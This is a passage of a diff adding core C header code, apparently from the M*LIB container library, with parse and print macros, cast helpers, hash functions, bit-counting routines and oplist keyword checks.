+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_ushort, unsigned short, "%hu")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_sint, signed int, "%d")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_uint, unsigned int, "%u")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_slong, signed long, "%ld")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_ulong, unsigned long, "%lu")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_sllong, signed long long, "%lld")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_ullong, unsigned long long, "%llu")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_float, float, "%f")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_double, double, "%lf")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_ldouble, long double, "%Lf")
+
+/* Return the next character (like fgetc) which is not a space character
+   and advance the FILE stream accordingly */
+M_INLINE int m_core_fgetc_nospace(FILE *f)
+{
+  int c;
+  do {
+    c = fgetc(f);
+  } while (c != EOF && isspace(c));
+  return c;
+}
+
+#endif /* End of stdio definitions */
+
+/* Return the next character (like fgetc) which is not a space character
+   and advance the string stream accordingly */
+M_INLINE char m_core_str_nospace(const char **str)
+{
+  char c;
+  do {
+    c = *((*str)++);
+  } while (isspace((unsigned char) c));
+  return c;
+}
+
+/* Transform a C variable into a m_string_t (needs m-string.h) */
+#define M_GET_STRING_ARG(str, x, append)                                      \
+  (append ? m_string_cat_printf : m_string_printf) M_R(str, M_PRINTF_FORMAT(x), M_CORE_PRINTF_ARG(x))
+
+/* No use of GET_STR if no inclusion of m-string */
+#define M_GET_STR_METHOD_FOR_DEFAULT_TYPE /* */
+
+/* Parse string of default type */
+#define M_PARSE_DEFAULT_TYPE(x, str, endptr)                                  \
+  _Generic(((void)0,*(x)),                                                    \
+           char: m_core_parse_char(M_AS_TYPE(char*,x),str,endptr),            \
+           bool: m_core_parse_bool(M_AS_TYPE(bool*,x),str,endptr),            \
+           signed char: m_core_parse_schar(M_AS_TYPE(signed char*,x),str,endptr), \
+           unsigned char: m_core_parse_uchar(M_AS_TYPE(unsigned char*,x),str,endptr), \
+           signed short: m_core_parse_sshort(M_AS_TYPE(signed short*,x),str,endptr), \
+           unsigned short: m_core_parse_ushort(M_AS_TYPE(unsigned short*,x),str,endptr), \
+           signed int: m_core_parse_sint(M_AS_TYPE(signed int*,x),str,endptr), \
+           unsigned int: m_core_parse_uint(M_AS_TYPE(unsigned int*,x),str,endptr), \
+           signed long: m_core_parse_slong(M_AS_TYPE(signed long *,x),str,endptr), \
+           unsigned long: m_core_parse_ulong(M_AS_TYPE(unsigned long*,x),str,endptr), \
+           signed long long: m_core_parse_sllong(M_AS_TYPE(signed long long*,x),str,endptr), \
+           unsigned long long: m_core_parse_ullong(M_AS_TYPE(unsigned long long*,x),str,endptr), \
+           float: m_core_parse_float(M_AS_TYPE(float*,x),str,endptr),         \
+           double: m_core_parse_double(M_AS_TYPE(double*,x),str,endptr),      \
+           long double: m_core_parse_ldouble(M_AS_TYPE(long double*,x),str,endptr), \
+           const char *: false /* not supported */,                           \
+           char *: false /* not supported */,                                 \
+           const void *: false /* not supported */,                           \
+           void *: false /* not supported */)
+
+/* Internal wrappers used by M_PARSE_DEFAULT_TYPE : */
+M_INLINE bool
+m_core_parse_char (char *ptr, const char str[], const char **endptr)
+{
+    *ptr = *str++;
+    if (endptr != NULL) { *endptr = str; }
+    return true;
+}
+
+M_INLINE bool
+m_core_parse_bool (bool *ptr, const char str[], const char **endptr)
+{
+  char c = *str++;
+  *ptr = (c == '1');
+  if (endptr != NULL) { *endptr = str; }
+  return (c == '0') || (c == '1');
+}
+
+#define M_PARSE_DEFAULT_TYPE_DEF(name, type, parse_func, extra_arg)           \
+  M_INLINE bool                                                               \
+  name (type *ptr, const char str[], const char **endptr)                     \
+  {                                                                           \
+    char *end;                                                                \
+    *ptr = (type) parse_func (str, &end extra_arg);                           \
+    if (endptr != NULL) { *endptr = end; }                                    \
+    return end != str;                                                        \
+    }
+
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_schar, signed char, strtol, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_uchar, unsigned char, strtoul, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_sshort, signed short, strtol, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_ushort, unsigned short, strtoul, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_sint, signed int, strtol, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_uint, unsigned int, strtoul, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_slong, signed long, strtol, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_ulong, unsigned long, strtoul, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_sllong, signed long long, strtoll, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_ullong, unsigned long long, strtoull, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_float, float, strtof, )
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_double, double, strtod, )
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_ldouble, long double, strtold, )
+
+/* Internal macro to separate two arguments by a semicolon */
+#define M_SEPARATE_PER_SEMICOLON(a,b) a ; b
+
+/* Generic PRINT macro: print all its inputs regardless of the type
+   provided it is a generic "non-struct" type. */
+#define M_PRINT(...)   do { M_REDUCE2(M_FPRINT_ARG, M_SEPARATE_PER_SEMICOLON, stdout, __VA_ARGS__); } while (0)
+
+/* Generic FPRINT macro: print all its inputs regardless of the type
+   provided it is a generic "non-struct" type into the file 'f'. */
+#define M_FPRINT(f,...)  do { M_REDUCE2(M_FPRINT_ARG, M_SEPARATE_PER_SEMICOLON, f, __VA_ARGS__); } while (0)
+
+/* Within a C11 _Generic statement, all expressions shall be valid C
+   expression even if the case if always false, and is not executed.
+   This can seriously limit the _Generic statement.
+   This macro overcomes this limitation by returning :
+   * either the input 'x' if it is of type 'type',
+   * or the value 0 view as a type 'type'.
+   NOTE: Not compatible with C++.
+*/
+#define M_AS_TYPE(type, x) _Generic(((void)0,(x)), type: (x), default: (type) {0})
+
+/* Return the minimum between x and y (computed in compile time) */
+#define M_MIN(x, y) ((x) < (y) ? (x) : (y))
+
+/* Return the maximum between x and y (computed in compile time) */
+#define M_MAX(x, y) ((x) > (y) ? (x) : (y))
+
+/* Is the number a power of 2? (computed in compile time) */
+#define M_POWEROF2_P(n) (!((n)&((n)-1)))
+
+/* Swap two objects x & y of the same type */
+#define M_SWAP(type, x, y) do {                                               \
+    type _tmp = (x);                                                          \
+    (x) = (y);                                                                \
+    (y) = _tmp;                                                               \
+  } while (0)
+
+
+/* Check if 'n' is assignable to an object of type 'type'.
+   It is as if we create a temporary of type 'type' and assign 'n' to it.
+   Return the object 'n' if it is possible.
+   Two definitions: one with compound-literals for C, the other with static_cast for C++.
+   NOTE: C definition is safer than the C++ one.
+*/
+#ifndef __cplusplus
+/* Cast the object n into type only if it is C assignable */
+# define M_ASSIGN_CAST(type, n)                 ((type) { 0 } = (n))
+#else
+/* Cast the object n into type using a static_cast */
+# define M_ASSIGN_CAST(type, n)                 static_cast<type>(n)
+#endif
+
+
+/* Cast 'n' of type 'type*' into 'type const*'.
+   This is like (type const*)p but safer as the type of 'n' is checked,
+   and more robust for double arrays type.
+   NOTE: Compliant with the C standard as in §6.2.5 Types:
+   "Similarly, pointers to qualified or unqualified versions
+   of compatible types shall have the same representation and
+   alignment requirements."
+*/
+#ifndef __cplusplus
+# define M_CONST_CAST(type, n)                                                \
+  (((union { type *ptr; type const *cptr; }){ .ptr = n}).cptr)
+#else
+# define M_CONST_CAST(type, n)                  const_cast<type*>(n)
+#endif
+
+
+/*
+ * From a pointer to the 'field' field of type 'field_type' of a 'type' structure,
+ * return the pointer to the structure.
+ * Used to handle intrusive structure.
+ * NOTE: Use an ASSIGN_CAST to make the cast a little bit safer.
+ */
+#define M_TYPE_FROM_FIELD(type, ptr, field_type, field)                       \
+  ((type *)(void*)( (char *)M_ASSIGN_CAST(field_type*, (ptr)) - offsetof(type, field) ))
+
+#define M_CTYPE_FROM_FIELD(type, ptr, field_type, field)                      \
+  ((type const *)(const void*)( (const char *)M_ASSIGN_CAST(field_type const *, (ptr)) - offsetof(type, field) ))
+
+
+/* Use to generate a dummy alignment field for cache alignment within a structure 
+   Take the name of the dummy field, and a list of the type of the fields that previously fill in the structure.
+ */
+#define M_ADD_SIZE(a,b)              a + b
+#define M_CACHELINE_ALIGN(name, ...)                                          \
+  char name[M_ALIGN_FOR_CACHELINE_EXCLUSION > M_REDUCE(sizeof, M_ADD_SIZE, __VA_ARGS__) \
+            ? M_ALIGN_FOR_CACHELINE_EXCLUSION - M_REDUCE(sizeof, M_ADD_SIZE, __VA_ARGS__) : 1]
+
+
+/* C++ doesn't support flexible array within a structure.
+   Let's define at least one element for an array.
+   It doesn't also support VLA usage in function prototype.
+   TCC doesn't support VLA for types too.
+ */
+#if defined(__cplusplus) || defined (__TINYC__)
+# define M_MIN_FLEX_ARRAY_SIZE 1
+# define M_VLA(n)
+#else
+# define M_MIN_FLEX_ARRAY_SIZE 
+# define M_VLA(n) n
+#endif
+
+#if M_USE_STDARG && M_USE_STDIO
+
+/* Define the allocation of the temporary string used by M_CSTR
+   Default is 256 bytes (so 255 characters excluding the final null char).
+   It can be overriden by users if needed.
+*/
+#ifndef M_USE_CSTR_ALLOC
+#define M_USE_CSTR_ALLOC 256
+#endif
+
+/* Define M_CSTR for C++ & C */
+#if defined(__cplusplus)
+namespace m_lib {
+  template <unsigned int N>
+    struct m_char_array {
+      char str[N];
+      inline m_char_array(const char *format, ...)
+      {
+        va_list args;
+        va_start (args, format);
+        int ret = vsnprintf(str, N, format, args);
+        (void) ret;
+        va_end (args);
+      }
+      inline const char *m_get(void)
+      {
+        return str;
+      }
+    };
+}
+
+/* Return a constant string constructed based on the printf-liked formated string
+   and its arguments.
+   The string is constructed at run time and uses a temporary space on the stack.
+   If the constructed string is longer than M_USE_CSTR_ALLOC (default 256),
+   the string is truncated.
+   Example:
+    strlen( M_CSTR("Len=%d", 17) ) == 6
+   NOTE: C++ definition using template as C++ doesn't support compound litteral.
+*/
+#define M_CSTR(...)                                                           \
+  (m_lib::m_char_array<M_USE_CSTR_ALLOC>(__VA_ARGS__)).m_get()
+
+#elif defined(__GNUC__) && !defined(M_ADDRESS_SANITIZER) && __GNUC__ < 12
+
+/* Return a constant string constructed based on the printf-liked formated string
+   and its arguments.
+   The string is constructed at run time and uses a temporary space on the stack.
+   If the constructed string is longer than M_USE_CSTR_ALLOC (default 256),
+   the string is truncated.
+   Example:
+    strlen( M_CSTR("Len=%d", 17) ) == 6
+   NOTE: C definition using GNU C extension statement expression to produce
+   smaller & faster code and enables the compiler to produce better warnings.
+   In C, the return value is the array, not the pointer to the array
+   (if I understand https://gcc.gnu.org/onlinedocs/gcc-10.2.0/gcc/Statement-Exprs.html
+   correctly, it is specified that only G++ converts the final result value
+   if it is an array to a pointer), so the return value is given back
+   to the parent scope.
+   However, address sanitizer doesn't see this particular corner case,
+   and raise an error.
+   So let's disable this implementation if address sanitizer is enabled.
+   Encapsulating the array in a struct will generate an additionnal memcpy
+   to recopy the buffer from the stack to the stack (!)
+*/
+#define M_CSTR(...)                                                           \
+  M_ATTR_EXTENSION ({char m_core_tmp[M_USE_CSTR_ALLOC];                       \
+      int m_core_r = snprintf(m_core_tmp,  M_USE_CSTR_ALLOC, __VA_ARGS__);    \
+      (void) m_core_r; m_core_tmp; })
+
+#else
+
+// Encapsulate snprintf to return the input buffer as argument (needed for M_CSTR)
+M_INLINE const char *
+m_core_snprintf(char *str, size_t size, const char *format, ...)
+{
+  va_list args;
+  va_start (args, format);
+  int ret = vsnprintf(str, size, format, args);
+  (void) ret;
+  va_end (args);
+  return str;
+}
+
+/* Return a constant string constructed based on the printf-liked formated string
+   and its arguments.
+   The string is constructed at run time and uses a temporary space on the stack.
+   If the constructed string is longer than M_USE_CSTR_ALLOC (default 256),
+   the string is truncated.
+   Example:
+    strlen( M_CSTR("Len=%d", 17) ) == 6
+   NOTE: C definition using compound litteral (init to 0).
+   This has a bad performance impact since it clears the memory before using it.
+*/
+#define M_CSTR(...)                                                           \
+  m_core_snprintf( (char [M_USE_CSTR_ALLOC]){0}, M_USE_CSTR_ALLOC, __VA_ARGS__)
+
+#endif
+
+#endif // Have stdarg
+
+
+/************************************************************/
+/********************* HASH selection ***********************/
+/************************************************************/
+
+/* User code shall overwrite this macro by a random seed (of type size_t)
+   so that the hash are not easily predictible by an attacker.
+   See https://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf
+*/
+#ifndef M_USE_HASH_SEED
+# define M_USE_HASH_SEED 0UL
+#endif
+
+#if   defined(M_USE_DJB_HASH)
+#define M_HASH_INIT 5381UL
+#define M_HASH_CALC(h1,h2)  (((h1) * 33UL) + (h2))
+#elif defined(M_USE_DJB_XOR_HASH)
+#define M_HASH_INIT 5381UL
+#define M_HASH_CALC(h1,h2)  (((h1) * 33UL) ^ (h2))
+#elif defined(M_USE_JSHASH)
+#define M_HASH_INIT 1315423911UL
+#define M_HASH_CALC(h1,h2)  ((h1) ^ (((h1) << 5) + (h2) + ((h1) >> 2)))
+#elif defined(M_USE_BKDRHASH)
+#define M_HASH_INIT 0UL
+#define M_HASH_CALC(h1,h2)  (((h1) * 131) + (h2))
+#elif defined(M_USE_SDBMHASH)
+#define M_HASH_INIT 0UL
+#define M_HASH_CALC(h1,h2)  ((h2) + ((h1) << 6) + ((h1) << 16) - (h1))
+#elif defined(M_USE_DEKHASH)
+#define M_HASH_INIT 0UL /* should be len but not possible with interface */
+#define M_HASH_CALC(h1,h2)  ( (((h1)<<5) | (h1 >> (CHAR_BIT*sizeof(size_t)-5))) ^(h2))
+#elif defined(M_USE_BPHASH)
+#define M_HASH_INIT 0UL
+#define M_HASH_CALC(h1,h2)  (((h1) << 7) ^ (h2))
+#else
+//FNVHASH
+#define M_HASH_INIT 0UL
+#define M_HASH_CALC(h1,h2)  (((h1) * 0x811C9DC5UL) ^ (h2))
+#endif
+
+#define M_HASH_DECL(hash)   size_t hash = M_HASH_INIT ^ M_USE_HASH_SEED
+#define M_HASH_UP(hash,h)   do { hash = (size_t) M_HASH_CALC(hash, (h)); } while (0)
+#define M_HASH_FINAL(hash)  ( (hash) >> (sizeof(size_t)*CHAR_BIT/2) ^ (hash) )
+
+/* Safe, efficient, and portable Rotate:
+   It should be recognized by any compiler and generate a single roll instruction.
+   If support for n==0 is needed, we can write:
+   return (x<<n) | (x>>(-n&31));
+   but compilers are less likely to generate a roll instruction.
+ */
+M_INLINE uint32_t m_core_rotl32a (uint32_t x, uint32_t n)
+{
+  M_ASSERT (n > 0 && n<32);
+  return (x<<n) | (x>>(32-n));
+}
+M_INLINE uint64_t m_core_rotl64a (uint64_t x, uint32_t n)
+{
+  M_ASSERT (n > 0 && n<64);
+  return (x<<n) | (x>>(64-n));
+}
+
+/* Round to the next highest power of 2.
+   See https://web.archive.org/web/20160703165415/https://graphics.stanford.edu/~seander/bithacks.html#RoundUpPowerOf2
+*/
+M_INLINE uint64_t m_core_roundpow2(uint64_t v)
+{
+  v--;
+  v |= v >> 1;
+  v |= v >> 2;
+  v |= v >> 4;
+  v |= v >> 8;
+  v |= v >> 16;
+  v |= v >> 32;
+  v++;
+  return v;
+}
+
+/* Return the count leading zero of the argument */
+#if defined(__GNUC__) && (__GNUC__*100 + __GNUC_MINOR__) >= 304
+M_INLINE unsigned int m_core_clz32(uint32_t limb)
+{
+  return (unsigned int) (M_UNLIKELY (limb == 0) ? sizeof(uint32_t)*CHAR_BIT : (size_t) __builtin_clzl(limb) - (sizeof(unsigned long) - sizeof(uint32_t)) * CHAR_BIT);
+}
+M_INLINE unsigned int m_core_clz64(uint64_t limb)
+{
+  return (unsigned int) (M_UNLIKELY (limb == 0ULL) ? sizeof (uint64_t)*CHAR_BIT : (size_t) __builtin_clzll(limb) - (sizeof (unsigned long long) - sizeof (uint64_t)) * CHAR_BIT);
+}
+
+M_INLINE unsigned int m_core_ctz32(uint32_t limb)
+{
+  return (unsigned int) (M_UNLIKELY (limb == 0) ? sizeof(uint32_t)*CHAR_BIT : (size_t) __builtin_ctzl(limb));
+}
+M_INLINE unsigned int m_core_ctz64(uint64_t limb)
+{
+  return (unsigned int) (M_UNLIKELY (limb == 0ULL) ? sizeof (uint64_t)*CHAR_BIT : (size_t) __builtin_ctzll(limb));
+}
+
+#elif defined(_MSC_VER) && (defined(_M_AMD64) || defined(_M_ARM64))
+// NOTE: _BitScanReverse64 is 64-bits only (not compatible 32 bits).
+#include <intrin.h>
+M_INLINE unsigned int m_core_clz32(uint32_t limb)
+{
+  unsigned long bit = 0;
+  if (_BitScanReverse( &bit, limb ) != 0) {
+    return 31 - bit;
+  } else {
+    return 32;
+  }
+}
+M_INLINE unsigned int m_core_clz64(uint64_t limb)
+{
+  unsigned long bit = 0;
+  if (_BitScanReverse64( &bit, limb ) != 0) {
+    return 63 - bit;
+  } else {
+    return 64;
+  }
+}
+
+M_INLINE unsigned int m_core_ctz32(uint32_t limb)
+{
+  unsigned long bit = 0;
+  if (_BitScanForward( &bit, limb ) != 0) {
+    return bit;
+  } else {
+    return 32;
+  }
+}
+M_INLINE unsigned int m_core_ctz64(uint64_t limb)
+{
+  unsigned long bit = 0;
+  if (_BitScanForward64( &bit, limb ) != 0) {
+    return bit;
+  } else {
+    return 64;
+  }
+}
+
+#else
+// Emulation layer
+#define M_CORE_CLZ_TAB "\010\07\06\06\05\05\05\05\04\04\04\04\04\04\04\04\03\03\03\03\03\03\03\03\03\03\03\03\03\03\03\03\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00"
+
+M_INLINE unsigned int m_core_clz32(uint32_t limb)
+{
+  unsigned int shift = 0;
+  /* This code should be branchless on most targets */
+  /* Compute shift so that, it is
+     + -3 if the highest 24 bits are clear,
+     + -2 for the highest 16 bits,
+     + -1 for the highest 8 bits,
+     + 0 otherwise */
+  shift = -(unsigned) (limb < 0x1000000UL);
+  shift -= (limb < 0x10000UL);
+  shift -= (limb < 0x100UL);
+  shift  = shift*8 + 24;
+  shift = 24 - shift + (unsigned int) M_CORE_CLZ_TAB[limb >> shift ];
+  return shift;
+}
+
+M_INLINE unsigned int m_core_clz64(uint64_t limb)
+{
+  unsigned int shift = 0;
+  /* This code should be branchless on most targets */
+  /* Compute shift so that, it is
+     + -7 if the highest 56 bits are clear,
+     + -6 for the highest 48 bits,
+     + -5 for the highest 40 bits,
+     + -4 for the highest 32 bits,
+     + -3 for the highest 24 bits,
+     + -2 for the highest 16 bits,
+     + -1 for the highest 8 bits,
+     + 0 otherwise */
+  shift = -(unsigned) (limb < 0x100000000000000UL);
+  shift -= (limb < 0x1000000000000UL);
+  shift -= (limb < 0x10000000000UL);
+  shift -= (limb < 0x100000000UL);
+  shift -= (limb < 0x1000000UL);
+  shift -= (limb < 0x10000UL);
+  shift -= (limb < 0x100UL);
+  shift  = shift*8 + 56;
+  shift = 56 - shift + (unsigned int) M_CORE_CLZ_TAB[limb >> shift ];
+  return shift;
+}
+
+/* See algorithm ctz5 that uses de Bruijn sequences to construct a minimal perfect hash function (32 bits) */
+#define M_CORE_CTZ_TAB "\000\001\034\002\035\016\030\003\036\026\024\017\031\021\004\010\037\033\015\027\025\023\020\007\032\014\022\006\013\005\012\011"
+
+M_INLINE unsigned int m_core_ctz32(uint32_t limb)
+{
+  if (limb == 0) { return 32; }
+  return (unsigned int) M_CORE_CTZ_TAB[ ( (uint32_t) (limb & -limb) * 0x077CB531) >> 27];
+}
+
+M_INLINE unsigned int m_core_ctz64(uint64_t limb)
+{
+  unsigned int shift = 0;
+  if ((limb & 0x0FFFFFFFFull) == 0) { shift = 32; limb >>= 32; }
+  if (limb == 0) { return 32+shift; }
+  return shift + (unsigned int) M_CORE_CTZ_TAB[ ( (uint32_t) (limb & -limb) * 0x077CB531) >> 27];
+}
+
+#endif
+
+/* Implement a kind of FNV1A Hash.
+   Inspired by http://www.sanmayce.com/Fastest_Hash/ Jesteress and port to 64 bits.
+   See https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function#FNV-1a_hash
+   The buffer given as argument shall be aligned:
+   - to 8 (resp. 4) if size is greater than 8 on 64 bits (resp. 4 on 32 bits),
+   - to the power of 2 just lower or equal to its size otherwise.
+   NOTE: A lot of cast. Not really type nor alignement safe.
+   NOTE: Can be reduced to very few instructions if constant size argument.
+   FIXME: It is trivial for an attacker to generate collision and HASH_SEED doesn't prevent it.
+ */
+#if SIZE_MAX <= 4294967295U
+/* 32 bits variant with an average measured avalanche effect of 16.056 bits */
+M_INLINE uint32_t
+m_core_hash (const void *str, size_t length)
+{
+  const uint32_t prime = 709607U;
+  uint32_t hash32 = 2166136261U ^ M_USE_HASH_SEED;
+  const uint8_t *p = (const uint8_t *)str;
+
+  M_ASSERT (str != NULL || length == 0);
+  M_ASSERT ( (( (uintptr_t)p & (sizeof(uint32_t)-1) ) == 0) || (length <= sizeof(uint32_t)));
+  M_ASSERT ( (( (uintptr_t)p & (sizeof(uint16_t)-1) ) == 0) || (length <= sizeof(uint16_t)));
+
+  // Main loop that handles 64 bits at a time.
+  while (length >= 2*sizeof(uint32_t)) {
+    const uint32_t *ptr = (const uint32_t *) (uintptr_t) p;
+    hash32 = (hash32 ^ (m_core_rotl32a(ptr[0], 5) ^ ptr[1])) * prime;
+    length -= 2*sizeof(uint32_t);
+    p += 2*sizeof(uint32_t);
+  }
+  // Cases: 0,1,2,3,4,5,6,7
+  if (length & sizeof(uint32_t)) {
+    const uint32_t *ptr = (const uint32_t *) (uintptr_t) p;
+    hash32 = (hash32 ^ ptr[0]) * prime;
+    p += sizeof(uint32_t);
+    }
+  if (length & sizeof(uint16_t)) {
+    const uint16_t *ptr = (const uint16_t *) (uintptr_t) p;
+    hash32 = (hash32 ^ ptr[0]) * prime;
+    p += sizeof(uint16_t);
+  }
+  if (length & 1)
+    hash32 = (hash32 ^ *p) * prime;
+  return hash32 ^ (hash32 >> 16);
+}
+#else
+/* 64 bits variant with an average measured avalanche effect of 31.862 bits */
+M_INLINE uint64_t
+m_core_hash (const void *str, size_t length)
+{
+  const uint64_t prime = 1099511628211ULL;
+  uint64_t hash64 = 14695981039346656037ULL ^ M_USE_HASH_SEED;
+  const uint8_t *p = M_ASSIGN_CAST(const uint8_t *, str);
+
+  M_ASSERT (str != NULL || length == 0);
+  M_ASSERT ( (( (uintptr_t)p & (sizeof(uint64_t)-1) ) == 0) || (length <= sizeof(uint32_t)));
+  M_ASSERT ( (( (uintptr_t)p & (sizeof(uint32_t)-1) ) == 0) || (length <= sizeof(uint32_t)));
+  M_ASSERT ( (( (uintptr_t)p & (sizeof(uint16_t)-1) ) == 0) || (length <= sizeof(uint16_t)));
+
+  // Main loop that handles 128 bits at a time.
+  while (length >= 2*sizeof(uint64_t)) {
+    const uint64_t *ptr = (const uint64_t *) (uintptr_t) p;
+    hash64 = (hash64 ^ (m_core_rotl64a(ptr[0], 5) ^ ptr[1])) * prime;
+    length -= 2*sizeof(uint64_t);
+    p += 2*sizeof(uint64_t);
+  }
+  //Cases: 0 to 15.
+  if (length & sizeof(uint64_t)) {
+    const uint64_t *ptr = (const uint64_t *) (uintptr_t) p;
+    hash64 = (hash64 ^ ptr[0]) * prime;
+    p += sizeof(uint64_t);
+    }
+  // Cases: 0,1,2,3,4,5,6,7
+  if (length & sizeof(uint32_t)) {
+    const uint32_t *ptr = (const uint32_t *) (uintptr_t) p;
+    hash64 = (hash64 ^ ptr[0]) * prime;
+    p += sizeof(uint32_t);
+    }
+  if (length & sizeof(uint16_t)) {
+    const uint16_t *ptr = (const uint16_t *) (uintptr_t) p;
+    hash64 = (hash64 ^ ptr[0]) * prime;
+    p += sizeof(uint16_t);
+  }
+  if (length & 1)
+    hash64 = (hash64 ^ *p) * prime;
+  return hash64 ^ (hash64 >> 32);
+}
+#endif
+
+/* HASH function for a C-string (to be used within oplist)
+ * We cannot use m_core_hash due to the alignment constraint,
+ * and it avoids computing the size before computing the hash.
+ */
+M_INLINE size_t m_core_cstr_hash(const char str[])
+{
+  M_HASH_DECL(hash);
+  while (*str) {
+    unsigned long u = (unsigned char) *str++;
+    M_HASH_UP(hash, u);
+  }
+  return M_HASH_FINAL(hash);
+}
+
+
+/* Define default HASH function.
+   Macro encapsulation for C11: use specialized version of the hash function
+   if the type is recognized.
+   NOTE: Default case is not safe if the type is defined with the '[1]' trick. */
+#define M_HASH_POD_DEFAULT(a)   m_core_hash((const void*) &(a), sizeof (a))
+#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+#define M_HASH_INT32(a) ( (a) ^ ((a) << 11) ^ M_USE_HASH_SEED )
+#define M_HASH_INT64(a) ( ( (a) >> 33 ) ^ (a) ^ ((a) << 11) ^ M_USE_HASH_SEED )
+#define M_HASH_DEFAULT(a)                                                     \
+  (size_t) _Generic((a)+0,                                                    \
+           int32_t:  M_HASH_INT32((uint32_t) M_AS_TYPE(int32_t, a)),          \
+           uint32_t: M_HASH_INT32(M_AS_TYPE(uint32_t, a)),                    \
+           int64_t:  M_HASH_INT64((uint64_t) M_AS_TYPE(int64_t, a)),          \
+           uint64_t: M_HASH_INT64(M_AS_TYPE(uint64_t, a)),                    \
+           default:  M_HASH_POD_DEFAULT(a) )
+#else
+#define M_HASH_DEFAULT(a)       M_HASH_POD_DEFAULT(a)
+#endif
+
+
+
+/************************************************************/
+/******************** METHODS handling **********************/
+/************************************************************/
+
+#ifndef M_USE_UNDEF_OPLIST_TERMS
+#define M_USE_UNDEF_OPLIST_TERMS 0
+#endif
+
+#if M_USE_UNDEF_OPLIST_TERMS
+#undef INIT
+#undef INIT_SET
+#undef INIT_MOVE
+#undef INIT_WITH
+#undef SET
+#undef MOVE
+#undef SWAP
+#undef CLEAR
+#undef HASH
+#undef EQUAL
+#undef CMP
+#undef TYPE
+#undef SUBTYPE
+#undef SUBTYPE_PTR
+#undef GENTYPE
+#undef NAME
+#undef FIELD
+#undef OPLIST
+#undef SORT
+#undef SPLICE_BACK
+#undef SPLICE_AT
+#undef IT_TYPE
+#undef IT_FIRST
+#undef IT_LAST
+#undef IT_END
+#undef IT_SET
+#undef IT_END_P
+#undef IT_LAST_P
+#undef IT_EQUAL_P
+#undef IT_NEXT
+#undef IT_PREVIOUS
+#undef IT_REF
+#undef IT_CREF
+#undef IT_REMOVE
+#undef IT_INSERT
+#undef EMPTY_P
+#undef FULL_P
+#undef ADD
+#undef SUB
+#undef MUL
+#undef DIV
+#undef RESET
+#undef KEY_TYPE
+#undef VALUE_TYPE
+#undef KEY_OPLIST
+#undef VALUE_OPLIST
+#undef GET_KEY
+#undef SET_KEY
+#undef SAFE_GET_KEY
+#undef ERASE_KEY
+#undef GET_SIZE
+#undef PUSH
+#undef POP
+#undef PUSH_MOVE
+#undef POP_MOVE
+#undef REVERSE
+#undef GET_STR
+#undef PARSE_STR
+#undef OUT_STR
+#undef IN_STR
+#undef OUT_SERIAL
+#undef IN_SERIAL
+#undef SEPARATOR
+#undef EXT_ALGO
+#undef INC_ALLOC
+#undef OOR_SET
+#undef OOR_EQUAL
+#undef PROPERTIES
+#undef EMPLACE_TYPE
+#undef NEW
+#undef DEL
+#undef REALLOC
+#undef FREE
+#undef SIZE
+#undef CONTEXT
+#undef POLICY
+#else
+#ifdef INIT
+#error "INIT is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef INIT_SET
+#error "INIT_SET is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef INIT_MOVE
+#error "INIT_MOVE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef INIT_WITH
+#error "INIT_WITH is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SET
+#error "SET is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef MOVE
+#error "MOVE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SWAP
+#error "SWAP is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef CLEAR
